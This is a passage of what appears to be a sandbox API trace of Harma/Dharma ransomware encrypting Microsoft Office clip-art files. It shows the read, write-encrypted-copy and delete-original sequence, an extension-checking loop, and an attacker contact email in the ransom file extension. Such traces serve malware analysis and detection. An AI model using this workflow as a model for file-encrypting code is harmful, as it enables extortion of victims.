lpFileSize=0x2ffff1c*=1212) returned 1 [0147.626] CloseHandle (hObject=0x338) returned 1 [0147.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0147.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.627] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.627] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0147.636] GetLastError () returned 0x0 [0147.636] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4bc, lpOverlapped=0x0) returned 1 [0147.638] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0147.639] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0147.639] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.640] SetEndOfFile (hFile=0x328) returned 1 [0147.640] CloseHandle (hObject=0x328) returned 1 [0147.640] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.640] SetEndOfFile (hFile=0x338) returned 1 [0147.643] CloseHandle (hObject=0x338) returned 1 [0147.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0147.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.644] lstrlenW (lpString=".doc") returned 4 [0147.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.644] lstrlenW (lpString=".docx") returned 5 [0147.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.644] lstrlenW (lpString=".pdf") returned 4 [0147.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.644] lstrlenW (lpString=".xls") returned 4 [0147.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.644] lstrlenW (lpString=".xlsx") returned 5 [0147.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.645] lstrlenW (lpString=".ppt") returned 4 [0147.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.645] lstrlenW (lpString=".zip") returned 4 [0147.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.645] lstrlenW (lpString=".rar") returned 4 [0147.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.645] lstrlenW (lpString=".bz2") returned 4 [0147.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.645] lstrlenW (lpString=".7z") returned 3 [0147.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.645] lstrlenW (lpString=".dbf") returned 4 [0147.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.645] lstrlenW (lpString=".1cd") returned 4 [0147.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.645] lstrlenW (lpString=".jpg") returned 4 [0147.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.645] lstrlenW (lpString=".doc") returned 4 [0147.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.645] lstrlenW (lpString=".docx") returned 5 [0147.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.646] lstrlenW (lpString=".pdf") returned 4 [0147.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.646] lstrlenW (lpString=".xls") returned 4 [0147.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.646] lstrlenW (lpString=".xlsx") returned 5 [0147.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.646] lstrlenW (lpString=".ppt") returned 4 [0147.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.646] lstrlenW (lpString=".zip") returned 4 [0147.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.646] lstrlenW (lpString=".rar") returned 4 [0147.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.646] lstrlenW (lpString=".bz2") returned 4 [0147.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.646] lstrlenW (lpString=".7z") returned 3 [0147.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.646] lstrlenW (lpString=".dbf") returned 4 [0147.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.646] lstrlenW (lpString=".1cd") returned 4 [0147.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0147.646] lstrlenW (lpString=".jpg") returned 4 [0147.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.647] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.647] lstrlenW (lpString="BS00439_.WMF") returned 12 [0147.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.649] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2052) returned 1 [0147.649] CloseHandle (hObject=0x338) returned 1 [0147.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0147.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.649] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.650] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0147.651] GetLastError () returned 0x0 [0147.651] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x804, lpOverlapped=0x0) returned 1 [0147.654] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x810, lpOverlapped=0x0) returned 1 [0147.655] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0147.655] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.656] SetEndOfFile (hFile=0x328) returned 1 [0147.656] CloseHandle (hObject=0x328) returned 1 [0147.656] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.656] SetEndOfFile (hFile=0x338) returned 1 [0147.659] CloseHandle (hObject=0x338) returned 1 [0147.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.660] lstrlenW (lpString=".doc") returned 4 [0147.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString=".docx") returned 5 [0147.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.660] lstrlenW (lpString=".pdf") returned 4 [0147.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString=".xls") returned 4 [0147.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.660] lstrlenW (lpString=".xlsx") returned 5 [0147.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.660] lstrlenW (lpString=".ppt") returned 4 [0147.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.660] lstrlenW (lpString=".zip") returned 4 [0147.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.660] lstrlenW (lpString=".rar") returned 4 [0147.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString=".bz2") returned 4 [0147.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString=".7z") returned 3 [0147.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.660] lstrlenW (lpString=".dbf") returned 4 [0147.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.660] lstrlenW (lpString=".1cd") returned 4 [0147.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.661] lstrlenW (lpString=".jpg") returned 4 [0147.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.661] lstrlenW (lpString=".doc") returned 4 [0147.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString=".docx") returned 5 [0147.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.661] lstrlenW (lpString=".pdf") returned 4 [0147.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString=".xls") returned 4 [0147.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.661] lstrlenW (lpString=".xlsx") returned 5 [0147.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.661] lstrlenW (lpString=".ppt") returned 4 [0147.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.661] lstrlenW (lpString=".zip") returned 4 [0147.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.661] lstrlenW (lpString=".rar") returned 4 [0147.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString=".bz2") returned 4 [0147.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString=".7z") returned 3 [0147.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.661] lstrlenW (lpString=".dbf") returned 4 [0147.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.661] lstrlenW (lpString=".1cd") returned 4 [0147.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0147.661] lstrlenW (lpString=".jpg") returned 4 [0147.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.662] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.662] lstrlenW (lpString="BS00440_.WMF") returned 12 [0147.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.662] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=5580) returned 1 [0147.662] CloseHandle (hObject=0x338) returned 1 [0147.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0147.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.663] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.663] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0147.664] GetLastError () returned 0x0 [0147.664] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x15cc, lpOverlapped=0x0) returned 1 [0147.914] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0147.915] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0147.915] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.915] SetEndOfFile (hFile=0x328) returned 1 [0147.916] CloseHandle (hObject=0x328) returned 1 [0147.916] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.916] SetEndOfFile (hFile=0x338) returned 1 [0147.918] CloseHandle (hObject=0x338) returned 1 [0147.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.920] lstrlenW (lpString=".doc") returned 4 [0147.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".docx") returned 5 [0147.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.920] lstrlenW (lpString=".pdf") returned 4 [0147.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".xls") returned 4 [0147.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.920] lstrlenW (lpString=".xlsx") returned 5 [0147.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.920] lstrlenW (lpString=".ppt") returned 4 [0147.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.920] lstrlenW (lpString=".zip") returned 4 [0147.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.920] lstrlenW (lpString=".rar") returned 4 [0147.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".bz2") returned 4 [0147.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".7z") returned 3 [0147.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.920] lstrlenW (lpString=".dbf") returned 4 [0147.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.920] lstrlenW (lpString=".1cd") returned 4 [0147.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.920] lstrlenW (lpString=".jpg") returned 4 [0147.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.921] lstrlenW (lpString=".doc") returned 4 [0147.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".docx") returned 5 [0147.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.921] lstrlenW (lpString=".pdf") returned 4 [0147.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".xls") returned 4 [0147.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.921] lstrlenW (lpString=".xlsx") returned 5 [0147.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.921] lstrlenW (lpString=".ppt") returned 4 [0147.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.921] lstrlenW (lpString=".zip") returned 4 [0147.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.921] lstrlenW (lpString=".rar") returned 4 [0147.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".bz2") returned 4 [0147.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".7z") returned 3 [0147.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.921] lstrlenW (lpString=".dbf") returned 4 [0147.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.921] lstrlenW (lpString=".1cd") returned 4 [0147.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0147.921] lstrlenW (lpString=".jpg") returned 4 [0147.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.922] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.922] lstrlenW (lpString="BS00445_.WMF") returned 12 [0147.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.932] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3796) returned 1 [0147.932] CloseHandle (hObject=0x2e8) returned 1 [0147.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0147.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, 